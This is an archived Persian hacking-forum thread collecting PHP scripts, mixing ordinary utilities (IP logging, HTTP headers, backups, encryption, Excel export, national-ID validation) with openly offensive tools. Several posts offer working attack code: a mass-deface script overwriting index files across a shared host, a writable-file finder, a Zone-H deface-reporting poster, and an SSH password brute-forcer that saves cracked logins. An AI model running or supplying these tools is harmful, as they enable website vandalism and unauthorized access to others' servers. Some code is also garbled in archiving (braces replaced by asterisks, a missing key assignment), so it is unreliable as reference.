توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : تاپیک جامع اسکریپت ها، کدها و سورس سایت های php
Sil3nt Di3
09-09-2008, 04:24 PM
سلام دوستان عزیز ;
در این تاپیک تمامی کدها و اسکریپت های نوشته شده با زبان PHP قرار داده خواهند شد...
قوانین:
1- فقط در این تاپیک کدهای php گذاشته می شوند.
2- سوالات در مورد اسکریپت ها در تاپیک سوالات همراه با لینک.
3- هر گونه اسپم = اخطار!
....
موفق باشید...
ArmanSoftware
01-05-2010, 05:51 AM
باید کار های زیر را انجام دهیم:
1 فایلی به نام log.php ایجاد کنیم.
2 کد های زیر را در در فایل log.php قرار داده و ذخیره کنیم:
<?php
$ip = $SERVER['REMOTE_ADDR'];
$fp = fopen("ip.txt", "a");
fputs($fp, "$ip\n");
fclose($fp);
?>
3 فایلی به نام ip.txt ایجاد کنیم.
4. فایل ها و CHMOD ip.txt را به 0666 آپلود کنیم.
5. کد های زیر را در صفحه ی مورد نظر خود بالا تر از تگ <html> قرار دهیم:
<? include ("log.php"); ?>
برای دیدن نتیجه به yourwebsite.com/ip.txt مراجعه کنید.
I'mCH
05-27-2010, 12:01 AM
گفتم یک کد کاربردی بنویسم که به در همه بخوره ;;)
<?php
$site = 'tinystat.com';
if(isset($_POST['reverse']))**
$url = '[Only registered and activated users can see links]';
$url .= $_POST['domain'];
$content = file_get_contents($url);
for($i=strpos($content,'<table class="list">',strpos($content,'Hosts on this IP'))+1;$i<=strpos($content,'</table>',strpos($content,'Hosts on this IP'));$i++){echo $content[$i];}
$site = $_POST['domain'];
}
?>
<html>
<body>
<form action="reverse.php" method="post">
<input name="domain" type="text" value="<?php echo $site; ?>">
<input name="reverse" type="submit" value="Send">
</br><b>Code By I'mCH (Ashiyane Digital Security Team)</b>
</form>
</body>
</html>
موفق باشید :x
<?php
$site = "[Only registered and activated users can see links]";
if(isset($_POST['domain']))**
$url = '[Only registered and activated users can see links]'.$_POST['domain'];
$content = file_get_contents($url);
for($i=strpos($content,'<table class="list">',strpos($content,'Hosts on this IP'));$i<=strpos($content,'</table>',strpos($content,'Hosts on this IP'))+1;$i++){echo $content[$i];}
$site = $_POST['domain'];
}
?>
<html>
<body>
<form action="" method="post">
<input name="domain" type="text" value="<?php echo $site; ?>">
<input name="reverse" type="submit" value="send">
</br><b>code by i'mch (ashiyane digital security team)</b>
</form>
</body>
</html>
iNJECTOR™
06-01-2010, 10:27 AM
بیشتر شده که بخواید از صفحات یک سایت اطلااعاتی برای استفاده بگیرید ولی این اطلاعات به صورت API یا ... نبوده و شما کمی به دردسر افتادید.
در این پست میخوام یک کلاس PHP رو معرفی کنم که این مشکل رو از بین میبره.
HTML SQL یه class هست که بر پایه snoopy نوشته شده و همونطور که از اسمش پیداست در مورد Query گرفتن از صفحات HTML هست.
Query های این کلاس شباهت بسیار زیادی به Query های MySQL دارند و همین هم یکی از خوبی هاش به حساب میاد.
با استفاده از این کلاس میتونید با هر Query به جستجو در تگ های استفاده شده در source هر صفحه بپردازید و value اون tag رو به صورت یک string یا ... در PHP داشته باشید.
یک نمونه از Query های HTML SQL :
SELECT href FROM a WHERE $class == "list"
در این Query همونطور که میبینید HTML SQL بین تگ های a مقدار href که همون لینک هست رو پیدا میکنه.
قسمت متغیر class هم برای تشخیص یک تگ از تگ های دیگه بسته بر option های متفاوتی
که داره هست.
این کلاس رو میتونید به همراه مثال ها میتونید از attachment این پست دانلود کنید.
سوالی بود در خدمتم.
CarBoN.08
06-01-2010, 02:15 PM
سلام
خب همگی دیگه با کار اسکریپت های Mass Deface آشنایی لازم رو دارید ... دیشب هم با ,PHP اسکریپت ساده اینکار رو نوشتم گفتم بد نیست اینجا بزارم :
<?php
// By : CarBoN.08
// Ashiyane Digital Security Team
// :X
error_reporting('~EALL');
set_time_limit(0);
if(isset($_POST['submit'])){
echo'<div style="height:80px">!</div>';
$webdir = $_POST['wsdirectory'];
$subdir = $_POST['subdirectory'];
$filename = $_POST['filename'];
$defhtml = $_POST['defhtml'];
$save = array();
$dirPath = $webdir;
if ($handle = opendir($dirPath)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
if (is_dir("$dirPath/$file")) {
$save[] = $file;
}
}
}
closedir($handle);
}
// List All rootdir in => [$save] (array)
$i=0;
while($i <= count($save)){
$pos = $save[$i].$webdir.$subdir.$filename;
file_put_contents($pos,$defhtml);
echo "Mass Def => <b>".$pos."</b><p></p>";
$i++;
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "[Only registered and activated users can see links]">
<html xmlns="[Only registered and activated users can see links]">
<head>
<meta [Only registered and activated users can see links]"Content-Type" content="text/html; charset=utf-8" />
<title>CarBoN.08 - Ashiyane Digital Security Team</title>
</head>
<style>
p{
margin:0px;
font-family:Arial, Helvetica, sans-serif
}
div{
font-family:Tahoma, Geneva, sans-serif;
font-size:14px
}
input{
color:#09F;
font-size:14px;
border: 1px #333 solid;
}
</style>
<form method="post">
<body style="padding:0px">
<div style="margin:0px; position:absolute; top:0px; background-color:#F2F5F9; padding:8px; width:100%; left:0px; font-size:15px; height:40px;">
<p style="color:#C30"><strong>CarBoN.08 </strong></p>
<p style="color:#346396"><strong>Ashiyane Digital Security Team</strong></p>
<p> </p>
</div>
<p> </p><p> </p><p> </p><p> </p>
<div> <div><strong>Website's Directory :</strong></div>
<input name="wsdirectory" type="text" value="exmp : C:\[Only registered and activated users can see links]" style="width:400px;padding:3px" /></div>
<div> <div><strong>Sub Directory :</strong></div>
<input name="subdirectory" type="text" value="exmp : public_html\" style="width:400px;padding:3px" /></div>
<div> <div><strong>Def Filename :</strong></div>
<input name="filename" type="text" value="exmp : index.html" style="width:400px;padding:3px" /></div>
<div> <div><strong>HTML Content :</strong></div>
<textarea name="defhtml" type="text" value="exmp : index.html" style="width:500px;height:250px;padding:3px" ></textarea></div>
<p> </p><p> </p>
<div><input name="submit" type="submit" value="Boom Boom !" /></div>
</body>
<form>
</body>
</html>
By CarBoN.08
thumbsup
تشکر//
CarBoN.08
06-09-2010, 12:14 PM
سلام
توضیح خاصی لازم نیست خودتون دیگه متوجه هستید ... :71::61:
// See related links for more status codes
// Use this header instruction to fix 404 headers
// produced by url rewriting...
header('[Only registered and activated users can see links] 200 OK');
// Page was not found:
header('[Only registered and activated users can see links] 404 Not Found');
// Access forbidden:
header('[Only registered and activated users can see links] 403 Forbidden');
// The page moved permanently should be used for
// all redrictions, because search engines know
// what's going on and can easily update their urls.
header('[Only registered and activated users can see links] 301 Moved Permanently');
// Server error
header('[Only registered and activated users can see links] 500 Internal Server Error');
// Redirect to a new location:
header('Location: [Only registered and activated users can see links]');
// Redriect with a delay:
header('Refresh: 10; url=[Only registered and activated users can see links]');
print 'You will be redirected in 10 seconds';
// you can also use the HTML syntax:
// <meta [Only registered and activated users can see links]"refresh" content="10;[Only registered and activated users can see links] />
// override X-Powered-By value
header('X-Powered-By: PHP/4.4.0');
header('X-Powered-By: Brain/0.6b');
// content language (en = English)
header('Content-language: en');
// last modified (good for caching)
$time = time() - 60; // or filemtime($fn), etc
header('Last-Modified: '.gmdate('D, d M Y H:i:s', $time).' GMT');
// header for telling the browser that the content
// did not get changed
header('[Only registered and activated users can see links] 304 Not Modified');
// set content length (good for caching):
header('Content-Length: 1234');
// Headers for an download:
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="example.zip"');
header('Content-Transfer-Encoding: binary');
// load the file to send:
readfile('example.zip');
// Disable caching of the current document:
header('Cache-Control: no-cache, no-store, max-age=0, must-revalidate');
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past
header('Pragma: no-cache');
// set content type:
header('Content-Type: text/html; charset=iso-8859-1');
header('Content-Type: text/html; charset=utf-8');
header('Content-Type: text/plain'); // plain text file
header('Content-Type: image/jpeg'); // JPG picture
header('Content-Type: application/zip'); // ZIP file
header('Content-Type: application/pdf'); // PDF file
header('Content-Type: audio/mpeg'); // Audio MPEG (MP3,...) file
header('Content-Type: application/x-shockwave-flash'); // Flash animation
// show sign in box
header('[Only registered and activated users can see links] 401 Unauthorized');
header('[Only registered and activated users can see links] Basic realm="Top Secret"');
print 'Text that will be displayed if the user hits cancel or ';
print 'enters wrong login data';
ruin3r
07-11-2010, 02:16 PM
<?php
function listFiles( $from = '.')
{
if(! is_dir($from))
return false;
$files = array();
$dirs = array( $from);
while( NULL !== ($dir = array_pop( $dirs)))
{
if( $dh = opendir($dir))
{
while( false !== ($file = readdir($dh)))
{
if( $file == '.' || $file == '..')
continue;
$path = $dir . '/' . $file;
if( is_dir($path))
$dirs[] = $path;
else
$files[] = $path;
}
closedir($dh);
}
}
return $files;
}
$main = listFiles('/home/Username/Public_html');
foreach($main as $file){
if(is_writable($file)){
print $file."<br>";
}
}
?>
r3d.z0nE
09-14-2010, 02:24 PM
<?php
ob_start();
/************************************
Zone-H Mass deface poster
Coded By AyTurk
Base-Load.com
Attackerz Crew
*************************************/
// curl var mi ?
$sub = get_loaded_extensions();
if(!in_array("curl", $sub)){
die('Curl eklentisi Yüklü degil Bu serverde ***199;al***305;***351;maz Lütfen server Y***246;neticisi ile irtibata geciniz');
}
// sar***305; sar***305; ***246;rdekler ucusuyorrrrrr...
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "[Only registered and activated users can see links]">
<html xmlns="[Only registered and activated users can see links]">
<style>
body{margin:0px;font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;background-color:#3a3a3a;scrollbar-face-color: #303030;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color: #121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color: #9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color: #3a3a3a;}
input,
.kbrtm,select{background:#303030;color:#FFFFFF;fon t-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18; border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;}
button{background-color: #666666; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #303030;}
textarea,option{background:#303030;color:#FFFFFF;f ont-family:Verdana,Arial;font-size:10px;vertical-align:middle; border-left:1px solid #121212; border-right:1px solid #5d5d5d; border-bottom:1px solid #5d5d5d; border-top:1px solid #121212;}
</style>
<head>
****** **********="Content-Type" content="text/html; charset=iso-8859-9" />
<title>SubZ3rr0 Zone-H Mass Deface Poster</title>
<style type="text/css">
.style1 {
text-align: center;
}
.style2 {
font-weight: bold;
}
.style3 {
font-size: large;
color: #FF0000;
}
div#option {
background:#303030;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; border-left:1px solid #121212; border-right:1px solid #5d5d5d; border-bottom:1px solid #5d5d5d; border-top:1px solid #121212;
}
</style>
</head>
<?php
if($_POST) {
$hacker = $_POST['defacer'];
$method = $_POST['hackmode'];
$neden = $_POST['reason'];
$site = $_POST['domain'];
// bosmu dolumu
if ($hacker == "") {
die ("<center>Kim Deface Ettiyse Onun Ad***305;n***305; Yaz***305;n***305;z<center>");
}
elseif($method == "--------SELECT--------") {
die("<center>Method Bildirmek Zorundas***305;n***305;z</center>");
}
elseif($neden == "--------SELECT--------") {
die("<center>Bir Neden Bildirmek Zorundas***305;n***305;z</center>");
}
elseif($site == "") {
die("<center>Lütfen Hacklediginiz Siteleri Yaz***305;n***305;z</center>");
}
$i = 0;
$sites = explode("\n", $site);
while($i < count($sites)) {
if(substr($sites[$i], 0, 4) != "http") {
$sites[$i] = "[Only registered and activated users can see links]".$sites[$i];
}
poster("[Only registered and activated users can see links]", $hacker, $method, $neden, $sites[$i]);
++$i;
}
echo "<center><p>Hacklediginiz Siteler Zone-h 'e Postlanm***305;st***305;r</p></center>";
}else{
echo '<center>
<img src="[Only registered and activated users can see links]"></img>
<form action="" method="post">
<div id="option">
<p>Defacer<br />
<span class="ok"><input type="text" name="defacer" size="40" /></span> </p>
<p>Y***246;ntem <br /><select name="hackmode">
<option >--------SELECT--------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option
value="2" >undisclosed (new) vulnerability</option>
<option
value="3" >configuration / admin. mistake</option>
<option
value="4" >brute force attack</option>
<option
value="5" >social engineering</option>
<option
value="6" >Web Server intrusion</option>
<option
value="7" >Web Server external module intrusion</option>
<option
value="8" >Mail Server intrusion</option>
<option
value="9" >FTP Server intrusion</option>
<option
value="10" >SSH Server intrusion</option>
<option
value="11" >Telnet Server intrusion</option>
<option
value="12" >RPC Server intrusion</option>
<option
value="13" >Shares misconfiguration</option>
<option
value="14" >Other Server intrusion</option>
<option
value="15" >SQL Injection</option>
<option
value="16" >URL Poisoning</option>
<option
value="17" >File Inclusion</option>
<option
value="18" >Other Web Application bug</option>
<option
value="19" >Remote administrative panel access through bruteforcing</option>
<option
value="20" >Remote administrative panel access through password guessing</option>
<option
value="21" >Remote administrative panel access through social engineering</option>
<option
value="22" >Attack against the administrator/user (password stealing/sniffing)</option>
<option
value="23" >Access credentials through Man In the Middle attack</option>
<option
value="24" >Remote service password guessing</option>
<option
value="25" >Remote service password bruteforce</option>
<option
value="26" >Rerouting after attacking the Firewall</option>
<option
value="27" >Rerouting after attacking the Router</option>
<option
value="28" >DNS attack through social engineering</option>
<option
value="29" >DNS attack through cache poisoning</option>
<option
value="30" >Not available</option>
</select></p>
<p> Neden Hackledin ? <br /><select name="reason">
<option >--------SELECT--------</option>
<option
value="1" >Heh...just for fun!</option>
<option
value="2" >Revenge against that website</option>
<option
value="3" >Political reasons</option>
<option
value="4" >As a challenge</option>
<option
value="5" >I just want to be the best defacer</option>
<option
value="6" >Patriotism</option>
<option
value="7" >Not available</option>
</select> </p>
<p>Siteler <br />
<span class="fur">Siteleri Alt Alta Gelecek ***350;ekilde Yaz***305;n***305;z</span><br />
<span class=""><textarea name="domain" cols="43" rows="17"></textarea></span> </p>
<p><input type="submit" value="G***246;nder Gitsin " />
</form>
<div class ="sub">kodlayan SubZ3rr0 </div>
<br>
</div>
</center>';
}
function poster($url, $hacker, $hackmode,$reson, $site )
{
$k = curl_init();
curl_setopt($k, CURLOPT_URL, $url);
curl_setopt($k,CURLOPT_POST,true);
curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
$kubra = curl_exec($k);
curl_close($k);
return $kubra;
}
?>
<body>
</body>
</html>
باید curl روشن باشه !
MobtakerZ
09-27-2010, 12:46 PM
گرد آوری شده توسط:MobtakerZ
سلام دوستان:33:
با یه اسکریپت اومدم برای کسانی که سایت دارند که اشخاص مزاحمی که بی جهت وارد سایت میشن هی اسپم میدن با این کد از ورود اون ها جلو گیری کرد و آی پی شونو بن کنید به نظر من چیز جالبیه استفاده کنید میفهمید این ویژگی در ورژن بعضی CMS ها قرار وجود داره ولی ما اینو صورت جدا براتون آوردیم و میتونید در هر جایی آپلود کنید و بودن هیچ محدودیتی از آن استفاده کنید این اسکریپ تازه وارد بازار شده ومن برای شما قرار دادم....:60:
پسورد:ashiyane.org
:50:امیدوارم خوششتون اومده باشه
A.S.P.I.R.I.N
10-16-2010, 12:39 AM
یک راه ساده برای گرفتن یک نسخه پشتیبان از کارها و فعالیت*هایی که به صورت پرونده (file) ذخیره می*شوند، گرفتن یک «کپی کامل»از آندر محلی دیگر است. اما این کار موجب صرف زمان و هدر رفتن فضای زیاد برای ذخیره اطلاعات شما می*گردد.
برای این کار نرم افزارهای کاربردی زیادی نوشته شده که غالبا مجانی نیستند و به صورت کلی از فایل*های شما پشتیبان تهیه می*کنند. این مطلب به معرفی یک برنامه کوچک و رایگان می*پردازد که می*تواند بر روی server یا سیستم شخصی شما اجرا شود و فایل*هایی با پسوند قابل تعریف را که در یک بازه زمانی مشخص (مثلا ماه گذشته) ویرایش پیدا کرده*اند، برای شما به صورت یک فایل فشرده ذخیره کند.
این برنامه به زبان php نوشته شده لذا بر روی اکثر سرورها بدون مشکل کار می*کند. در صورتی که شما قصد اجرای این برنامه بر روی سیستم شخصی را داشته باشید، لازم است موتور اجرای php را نیز روی سیستم خود نصب کنید. easyphp یک نمونه شناخته*شده و پرطرفدار در این میان است که نسبت به رقبای خود ظاهر ساده*تری دارد.
برای استفاده از این برنامه کافی است که سورس آن را از این پیوند ([Only registered and activated users can see links]) دریافت و ذخیره کنید. [مشاهده سورس برنامه پشتیبان ([Only registered and activated users can see links])]
پس از قرار دادن فایل backup.php در محل دلخواه و اجرای آن، صفحه زیر را مشاهده می*کنید:
[Only registered and activated users can see links]
([Only registered and activated users can see links])
در کادر ورودی اول، نوع ساختار پرونده*هایی که مایل به تهیه پشتیبان از آنها هستید را وارد کنید. پسوند این پرونده*ها بسته به نیاز شما متفاوت خواهد بود.
در کادر دوم مسیری را که برنامه در آن به جستجوی پرونده*های مدنظر شما می*پردازد، مشخص کنید.
در نهایت هم بازه زمانی مدنظرتان را وارد کنید. مقدار پیش فرض، هفته گذشته است.
در پایان دکمه تایید را بفشارید. با این کار برنامه شروع به کاوش در مسیر تعیین شده می*کند تا پرونده*هایی که از نظر ساختار و زمان ویرایش، بر خواسته منطبق است را پیدا کرده و لیست کند. نهایتا یک فایل فشرده با پسوند zip به شما تحویل داده می*شود که حاوی پرونده*های مدنظر شماست.
در پایان ذکر این نکته لازم است که این برنامه حسب نیازی که به عنوان یک برنامه نویس داشتم، نوشته شده و برایم بسیار موثر بوده است. طبعا داشتن قابلیت زمان*بندی و آپلود به ftp دو ویژگی است که می*تواند در آینده به آن اضافه شود. (البته قابلیت «زمان*بندی» را می*توان با حذف کد رابط کاربری و اضافه کردن یک cron job در سرور به دست آورد)
ArYaIeIrAn
10-17-2010, 10:57 PM
سلام دوستان این اسکریپت برای دوستانی که در زمینه هک و....... مهارت دارند بسیار مفید خواهد بود
All of our SEO scripts are programmed in PHP and are known to work in the following browsers:
1. Google Chrome
2. Mozilla Firefox (2.x and above)
3. Internet Explorer (7 and above)
The Ultimate Package requires PHP 5.X.X, the GD library (installed with PHP), and the TrueType library. Select scripts require a MySQL database and mod_rewrite.
Please note that there is NO ENCODING on our scripts, so you may edit them as you please! The design is in a SINGLE FILE for easy editing - you can re-template the package with ease.
Interested in resale rights? Please contact us for details about our resale packages. The package listed here is for PERSONAL USAGE rights only (you may only use this on a single website which YOU own).
The price listed below includes free updates (when released) and installation support.
Download information will be sent to your PayPal address instantly after a successful purchase.
The 90-SEO SCRIPT ULTIMATE PACKAGE comes with the following scripts:
Website Rank Checkers
Fake Rank Checker
Alexa Rank Checker
Multiple Keyword SE Position Checker
Multiple SE Position Checker
Multi-Rank Checker
Search Engine Position Checker
Site Rank Checker
Multiple PageHeat Checker
Multiple Fake PageRank Checker
Multiple Compete Rank Checker
Multiple Compete Statistics Checker
Source Code SEO Tools
Source Code Viewer
MD5 Encrypter
HTML Encrypter
HTML Optimizer
Website Speed Test
Single-Level Sitemap Creator
.htaccess URL Rewrite Tool
Header/Tag SEO Tools
HTTP Header Extractor
HTTP Header Viewer
Meta Tag Extractor
Meta Tag Generator
Search Preview SEO Tools
Search Engine Saturation Checker
Spider Viewer
Spider Viewer (Keyword)
Search Engine Listing Preview
Website Resolution Viewer
Text Website Viewer
Google Datacenter Search
Google AdSense Calculator
Google AdSense Preview
Robots.txt Viewer
Bing Indexed Pages Checker
Website Submitters
Automated Directory Submitter
Automated Search Engine Submitter
IP SEO Tools
Reverse IP Lookup Script
Ping Script
IP Locator (country)
Firewall Scanner
Reverse IP Lookup Script (Bing)
Multiple IP Address Checker
DNS Lookup
IP Address to Hex/Decimal Converter
IP Routing Lookup
ISP Cached DNS Lookup
IP SPAM Database Lookup
IP Tracepath
Keyword-Based SEO Tools
Keyword Density Checker
Keyword Click Value Tool
Keyword Suggestion Generator (Yahoo!)
Keyword Suggestion Generator (Google/Bing)
Keyword Rich Domain Finder
Link-Based SEO Tools
Link Popularity Checker
Link Suggestion Checker
No Follow Checker
Reciprocal Link Checker
Link Analyzer
Backlink Checker
Valid Link Checker
Multiple .EDU Backlink Checker
Multiple .GOV Backlink Checker
Multiple DMOZ Backlink Checker
Yahoo! Directory Backlink Checker
Multiple Yahoo! Directory Backlink Checker
Multiple Authority Link Checker
Social Bookmarking SEO Tools
Twitter Links Finder
Multiple Digg Link Checker
Multiple Delicious Link Checker
Code Validators
HTML Validator
CSS Validator
Domain/URL SEO Tools
Domain Typo Generator
Domain Availability Checker
Domain Age Checker
WHOIS Lookup
Domain WHOIS Retriever (com, net, org)
URL Shortener
URL Redirect Checker
URL Obfuscator
E-mail SEO Tools
Free E-Mail Address Checker
E-mail Image Generator
Anonymous Email Script
Miscellaneous SEO Tools
Website Status Checker
Online Calculator
Browser Details
Countdown Generator
javascript Hit Counter
List Cleaner
Unix Time Converter
Google Banned Checker
Favorite Button Creato
عکس ضمیمه شد
پسورد:aryaieiran
r3d.z0nE
10-28-2010, 05:25 PM
#
#!/usr/bin/php -e
#
<?php
#
#
echo '
#
____ ____ _ _____ ____ ____ ____ _____
#
/ ___/ ___/ /| / __// _ / __/ _X __/
#
| | | |_|| | __| / || /|| / |
#
___ |___ || | || | | | _/|| /| _| /_
#
____/____/_/ | _/ ____/_/_|____X____
#
#
Coded by zeN/Blink ~
#
DUSecurity - EnigmaGroup - DarkCode
#
#
Usage:
#
php ssh-force.php <host> <port> <userlist> <passlist>
#
';
#
#
#
$host = @$argv[1];
#
$port = @$argv[2];
#
$userlist = @$argv[3];
#
$passlist = @$argv[4];
#
#
if(count(@$argv) <= 1)
#
**
#
die("n");
#
}
#
#
if(!$host)
#
**
#
die("n[-] No host was entered, exiting...n");
#
}
#
if(!$port)
#
**
#
die("n[-] No port was entered, exiting...n");
#
}
#
if(!$userlist)
#
**
#
die("n[-] No userlist was entered, exiting...n");
#
}
#
if(!$passlist)
#
**
#
die("n[-] No passlist was entered, exiting...n");
#
}
#
#
#
$pass = @file($passlist);
#
$user = @file($userlist);
#
#
if(!$pass)
#
**
#
print("n[-] Unable to load ".$passlist);
#
$error = 1;
#
}
#
#
if(!$user)
#
**
#
print("n[-] Unable to load ".$users);
#
$error = 1;
#
}
#
#
if(@$error == 1)
#
**
#
die("n[-] To many errors, exiting...");
#
}
#
else
#
**
#
$x = count($pass);
#
print("n[+] Loaded ".count($user)." usernames.");
#
print("n[+] Loaded $x passwords.");
#
}
#
#
print("n[+] Starting attack on ".$host);
#
#
foreach($user as $uname)
#
**
#
#
$uname = str_replace("n","",$uname);
#
$uname = str_replace("r","",$uname);
#
#
print("nn[+] Trying user : ".$uname);
#
#
foreach($pass as $pword)
#
**
#
$pword = str_replace("n","",$pword);
#
$pword = str_replace("r","",$pword);
#
#
if(!($con = ssh2_connect($host, $port)))
#
**
#
echo "n[-]Unable to Connect! Exiting...n";
#
}
#
else
#
**
#
#
if(!@ssh2_auth_password($con, $uname, $pword))
#
**
#
echo "n[-] Incorrect! -> $pword";
#
}
#
else
#
**
#
echo "nn[+] Found Login - $uname : $pwordnn";
#
SaveLogin($uname,$pword,$host,$port);
#
sleep(2);
#
break;
#
}
#
}
#
}
#
}
#
#
function SaveLogin($user, $pass, $host, $port)**
#
#
/* This is a lil function i made for my ftp cracker */
#
#
$log = "SSH - $user:$pass@$host:$portrn";
#
#
$save = fopen("logins.txt","a");
#
fwrite($save, $log);
#
fclose($save);
#
}
#
#
?>
Pr0grammer
11-19-2010, 03:25 AM
کلاسی برای رمز نگاری اطلاعات
<?php
/**
* Description of crypt_class
*
* @author Killordie
*/
class crypt_class
{
private $iv;
private $key;
public $encrypt;
public $decrypt;
/**
* Give a key that the encrypt function will use to encrypt the data making use of RIJNDEAL 256.
* @param String $key
*/
public function __construct($key)
{
$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
$this->iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
}
/**
* String to encrypt.
* @param String $text
* @return String
*/
public function encrypt($text)
{
$this->encrypt = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $this->key, $text, MCRYPT_MODE_ECB, $this->iv);
return $this->encrypt;
}
/**
* Decrypt een string.
* @param String $text
* @return String
*/
public function decrypt()
{
$this->decrypt = mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $this->key, $this->encrypt, MCRYPT_MODE_ECB, $this->iv);
return trim($this->decrypt);
}
}
?>
روش استفاده
<?php
$cryptor = new crypt_class("12345"); //The key to encrypt your messages with.
$cryptor->encrypt("Credit card details."); //The string to encrypt.
$cryptor->decrypt(); //Decrypt the encrypted object.
?>
یکی از راه های ایجاد گزارشات در برنامه های تحت وب، گرفتن خروجی اکسل از اطلاعات موجود در بانک اطلاعاتی است. با استفاده از این کد می توانیم Query هایی که از MySql می گیریم را بصورت یک فایل Excel با فرمت .xls ذخیره کنیم.
<?php
$dbhost = 'localhost'; // در این قسمت محل دیتابیس را مشخص می کنیم که معمولا همان لوکال هاست می باشد
$dbname = 'MyDatabase'; // در این قسمت نام دیتابیس را قرار دهید
$dbuser = 'root'; // در این قسمت نام کاربر دیتابیس را قرار دهید
$dbpass = ''; // در این قسمت پسورد دیتابیس را وارد کنید
mysql_connect($dbhost, $dbuser, $dbpass) or die(mysql_error()); //با این کد به دیتابیس کانکت می شویم
mysql_select_db($dbname) or die(mysql_error()); //با این کد دیتابیس مورد نظر را انتخاب می کنیم
$result = mysql_query('select * from TABLENAME'); // در این قسمت کوئری را بنویسید
//در این قسمت عملیات مربوطه به گرفتن خروجی Exel
$count = mysql_num_fields($result);
for ($i = 0; $i < $count; $i++)**
$header .= mysql_field_name($result, $i)."\t";
}
while($row = mysql_fetch_row($result))
**
$line = '';
foreach($row as $value)
**
if(!isset($value) || $value == "")
**
$value = "\t";
}else
**
$value = str_replace('"', '""', $value);
$value = '"' . $value . '"' . "\t";
}
$line .= $value;
}
$data .= trim($line)."\n";
}
$data = str_replace("\r", "", $data);
if ($data == "")
**
$data = "\nno matching records found\n";
}
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=excelfile.xls");
header("Pragma: no-cache");
header("Expires: 0");
echo $header."\n".$data;
?>
همانطور که می دانید، کد ملی بعنوان یک شناسه ی منحصر به فرد (Unique ID) برای هر ایرانی محسوب می شود. در بعضی سایت ها ممکن است نیاز باشد تا کد ملی کاربر را بگیریم. بنابراین به الگوریتمی نیاز داریم تا بتوانیم از صحت کد ملی وارد شده توسط کاربر مطمئن شویم و در صورتیکه بصورت سهوی و یا عمدی اشتباه وارد شد، بتوانیم عملیات ثبت را متوقف کنیم و به کاربر اخطار دهیم.
در همین راستا، تابعی در php نوشته شده که کد ملی وارد شده را می گیرد و صحت آنرا بررسی می کند. اما قبل از بررسی تابع لازم است توضیحاتی در مورد الگوریتم آن بدهم.
کد ملی یک شناسه ی 10 رقمی است که اعداد آن به سه دسته تقسیم می شوند:
1- 3 رقم اول کد محل زندگی
2- 6 رقم بعدی کد منحصر به فرد شخص
3- رقم آخر عدد کنترل (Validation Number)
الگوریتم Validation کد ملی بصورت ساده به این شرح است:
از سمت چپ هر عدد ضربدر ارزش مکانی معکوس خود می شود.
حاصل ضرب ها با هم جمع می شود.
باقیمانده تقسیم حاصل جمع ها بر عدد 11 را بدست می آوریم.
اگر عدد بدست آمده در باقیمانده ی تقسیم، کوچکتر مساوی 2 بود، همان عدد باید با Validation Number (عدد آخر کد ملی) برابر باشد.
اگر عدد بدست آمده در باقیمانده ی تقسیم، بزرگتر از 2 بود، عدد را منهای 11 می کنیم و نتیجه باید برابر Validation Number (عدد آخر کد ملی) باشد.
تابع PHP :
<?php
function CheckNationalCode($code)
**
if(strlen($code) <> 10)**
echo 'کد ملی باید ده رقم باشد';
}
else
**
$codeArray = str_split($code);
$AllEq ;
foreach($codeArray as $item => $value)
**
if($codeArray[0] <> $value)
**
$AllEq = false;
break;
}
else{ $AllEq = true;}
}
if($AllEq == true) die('اعداد کد ملی نمی توانند برابر هم باشند');
$j = 10;
$sum = 0;
for($i=0; $i<=8; $i++)
**
$sum +=((int)($codeArray[$i])) * $j;
--$j;
}
$divid = $sum % 11;
if ($divid <= 2)
**
if($codeArray[9] == $divid)
**
echo "کد ملی معتبر است";
}
echo "کد ملی معتبر نیست";
}
else
**
$divid1 = 11 - $divid;
if ($codeArray[9] == $divid1)
**
echo "کد ملی معتبر است";
}
else
**
echo "کد ملی معتبر نیست";
}
}
}
}
?>
نحوه ی کار این کد به این صورت است که یک کد ملی (nccode) را توسط متد POST دریافت می کند و به تابع CheckNationalCode می دهد تا صحت آنرا بررسی کند.
این فانکشن را در قالب یک برنامه پی اچ پی که با استفاده از ajax کد ملی را Validat می کند، پیاده سازی کردم
کار با گرافیک در PHP :
گاهی اوقات نیاز می*شود که شما با متنی را به صورت عکس در صفحه وب خود به نمایش بگذارید.
به طور مثال، به جای استفاده از ده دکمه که استایلی مشابه دارند، می*توانید یک دکمه بدون متن ایجاد کنید و متن روی آن را در ده جای مختلف با استفاده از امکان GD در PHP درج کنید.
یا مثلاً می خواهید از کد های امنیتی در سایت خود استفاده کنید خوب دوستان آشیانه ای اولین کار این هست که بیاییم چک کنیم ببینیم gd سرور ما فعال است یا نه این مورد را می تونید از مدیر سرور خود سوال بفرمایید .
البته در اکثر سرورها فعال هست
برای فعال کردن در لوکال هم مثلاً در Easy Php باید در پوشه apache فایل php.ini تغییر زیر را انجام دهید:
